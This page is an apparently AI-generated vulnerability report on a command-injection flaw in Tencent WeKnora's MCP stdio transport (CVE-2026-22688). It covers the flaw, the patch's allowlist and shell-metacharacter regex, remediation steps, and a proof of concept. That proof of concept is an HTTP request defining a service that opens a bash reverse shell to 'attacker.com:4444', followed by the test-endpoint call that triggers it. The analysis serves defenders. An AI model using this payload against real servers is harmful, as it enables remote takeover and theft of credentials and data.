CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-78H3-63C4-5FQC
9.90.34%

WeKnora's Uncontrolled Whispers: From MCP Config to Root Shell

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 23, 2026·6 min read·16 visits

PoC Available

Executive Summary (TL;DR)

Authenticated users can define MCP services using the 'stdio' transport. The application passes the user-defined command and arguments directly to the system shell without sanitization. An attacker can create a service configuration that executes '/bin/bash' (or any other binary), triggering immediate RCE when the service is tested or run.

In the race to build the ultimate LLM framework, Tencent's WeKnora forgot the first rule of web security: never trust the user to define how to execute a process. CVE-2026-22688 is a critical Command Injection vulnerability residing in the Model Context Protocol (MCP) implementation. By abusing the 'stdio' transport configuration—designed to let the LLM talk to local tools—an authenticated attacker can instruct the server to spawn arbitrary shell commands. It turns a feature designed for semantic retrieval into a direct pipeline for remote code execution.

The Hook: When 'Context' Becomes 'Command'

We are living in the golden age of LLM agents—software that doesn't just talk, but does. WeKnora is one such framework, designed to orchestrate deep document understanding by connecting Large Language Models to external tools. To do this, it implements the Model Context Protocol (MCP). Think of MCP as a USB standard for AI; it lets the brain (LLM) plug into peripherals (databases, local files, scripts).

One of the transport layers for MCP is stdio (Standard Input/Output). The idea is simple: the WeKnora server spawns a subprocess (like a Python script), writes JSON to its stdin, and reads the response from stdout. It’s efficient, it’s standard, and in this case, it was a loaded gun left on the kitchen table.

To make WeKnora flexible, the developers allowed users to configure these services via the UI/API. You, the user, tell WeKnora: "Hey, run python script.py for me." The problem? They didn't put any guardrails on what you could ask them to run. They essentially built a "Remote Shell as a Service" feature and labeled it "Model Configuration."

The Flaw: A Trust Boundary Violation

The vulnerability (CVE-2026-22688) is a classic failure to respect trust boundaries. The application treats the MCP service configuration as trusted administrative data, even though it can be modified by any authenticated user with permissions to create services.

When a user creates a service, they send a JSON payload containing a stdio_config object. This object holds a command, an array of args, and env_vars. These are stored in the database without scrutiny.

The catastrophe happens in the execution sink. When the user hits the "Test Service" endpoint (e.g., /:id/test), WeKnora retrieves that configuration and feeds it directly into Go's os/exec library (via the mcp-go wrapper). It doesn't check if the command is a safe binary. It doesn't check if the arguments contain shell operators. It just dutifully executes whatever it is told to execute.

> [!NOTE] > The Irony of 'stdio' > The stdio transport is inherently risky in web applications because it involves process spawning. Unlike HTTP or WebSocket transports, which speak network protocols, stdio speaks operating system. If you mess up the implementation, you aren't just leaking data; you are handing over the keys to the server.

The Code: Autopsy of a Vulnerability

Let's look at the smoking gun. Prior to version 0.2.5, the code blindly accepted the inputs. The patch, specifically commit f7900a5e9a18c99d25cec9589ead9e4e59ce04bb, introduces a massive reality check.

The developers realized they couldn't just allow any command. The fix introduces a strict whitelist approach for the binary, and a blacklist approach for the arguments.

The Vulnerable Logic (Conceptual):

// BEFORE: Blindly trusting the config
cmd := exec.Command(config.Command, config.Args...)
cmd.Env = config.EnvVars
if err := cmd.Start(); err != nil {
    return err
}

The Fix (Analysis): In internal/utils/security.go, a new validation function ValidateStdioConfig was added. It changes the game entirely:

  1. Command Whitelisting: You can no longer run /bin/bash or python. You are restricted to specific package runners: uvx (for Python) and npx (for Node). This forces the attacker to work within the constraints of these tools (though they are powerful tools).
  2. Argument Sanitization: They implemented a regex blacklist (DangerousArgPatterns) to catch shell metacharacters.
// AFTER: ValidateStdioConfig
var AllowedStdioCommands = map[string]bool{
    "uvx": true,
    "npx": true,
}
 
// Regex to block dangerous characters
var DangerousArgPatterns = []*regexp.Regexp{
    regexp.MustCompile(`[;&|><$]`), // Shell operators
    regexp.MustCompile(`^/`),        // Absolute paths
    regexp.MustCompile(`\.\.`),     // Path traversal
}

This is a significant hardening. By forcing the use of uvx or npx, they limit the scope. However, npx itself is quite powerful (it downloads and executes code), so the security now relies heavily on the DangerousArgPatterns effectively preventing argument injection into npx.

The Exploit: Pwning the Framework

Exploiting this on a version prior to 0.2.5 is trivial if you have credentials. The barrier to entry is low—you just need a valid user account. The attack chain looks like this:

  1. Recon: Log in to WeKnora and find the "Create MCP Service" interface.
  2. Weaponization: Craft a JSON payload. We don't need fancy memory corruption; we just ask the server to run a shell.

The Payload:

POST /api/v1/mcp/services HTTP/1.1
Content-Type: application/json
Authorization: Bearer <JWT>
 
{
  "name": "PwnService",
  "transport_type": "stdio",
  "stdio_config": {
    "command": "/bin/bash",
    "args": [
      "-c",
      "bash -i >& /dev/tcp/attacker.com/4444 0>&1"
    ],
    "env_vars": {}
  }
}
  1. Trigger: The service is created, but the code usually runs when the service is used or tested. We trigger the test endpoint.
GET /api/v1/mcp/services/{service_id}/test HTTP/1.1
  1. Execution: The backend receives the test request, looks up PwnService, sees the command /bin/bash with our reverse shell arguments, and passes it to exec.Command. The server connects back to our listener. We are in.

The Impact: Why This Matters

This is a CVSS 9.9/10.0 for a reason. It is not just about modifying data; it is about total infrastructure compromise. WeKnora is likely deployed in environments with access to sensitive data lakes, vector databases, and expensive LLM API keys.

Potential Fallout:

  • Data Exfiltration: The attacker can read configuration files containing OpenAI/Anthropic API keys, database credentials, and internal documentation.
  • Lateral Movement: The WeKnora server likely has network access to internal services (databases, internal APIs) that are not exposed to the public internet. The attacker can use the compromised host as a pivot point (SSRF on steroids).
  • Persistence: The attacker can install backdoors, cron jobs, or even modify the WeKnora source code itself to capture future inputs.

The fact that this vulnerability requires authentication (PR:L) is the only thing keeping it from being a catastrophic internet-wide worm. However, in corporate environments, "authenticated user" often includes contractors, interns, or compromised employee accounts.

The Fix: Stopping the Bleeding

If you are running WeKnora < 0.2.5, you are exposed. The primary fix is to upgrade immediately.

Remediation Steps:

  1. Patch: Pull the latest docker image or build from source (tag v0.2.5).
  2. Audit: Check your database for any existing MCP services with suspicious stdio_config entries. If you find a service trying to run /bin/sh, curl, or wget, you have likely already been compromised.
  3. Hardening:
    • Ensure the WeKnora process runs as a low-privilege user (not root).
    • Use network policies (Kubernetes) or Security Groups (AWS) to block egress traffic from the WeKnora container, preventing the reverse shell from connecting back to the attacker.

For Developers: The lesson here is clear: Never allow users to specify the executable path in exec.Command. If you must support user-defined scripts, run them inside a strictly isolated sandbox (like a WASM runtime or a dedicated ephemeral container) where the damage potential is contained.

Official Patches

TencentGitHub Commit: Validation logic for MCP stdio transport

Fix Analysis (1)

Technical Appendix

CVSS Score
9.9/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.34%
Top 43% most exploited

Affected Systems

Tencent WeKnora < 0.2.5

Affected Versions Detail

Product
Affected Versions
Fixed Version
WeKnora
Tencent
< 0.2.50.2.5
AttributeDetail
CWE IDCWE-77 (Command Injection)
CVSS v3.19.9 (Critical)
Attack VectorNetwork (Authenticated)
EPSS Score0.00343 (Low but Rising)
Patch Commitf7900a5e9a18c99d25cec9589ead9e4e59ce04bb
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-77
Improper Neutralization of Special Elements used in a Command

Improper neutralization of special elements used in a command ('Command Injection') allows attackers to execute arbitrary commands on the host OS.

Known Exploits & Detection

Internal AnalysisInternal PoC demonstrating reverse shell via stdio_config injection
NucleiDetection Template Available

Vulnerability Timeline

Patch Developed
2025-12-22
CVE Published / Advisory Released
2026-01-10
NVD Record Updated
2026-01-22

References & Sources

  • [1]GHSA Advisory
  • [2]NVD Detail
Related Vulnerabilities
CVE-2026-22688

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.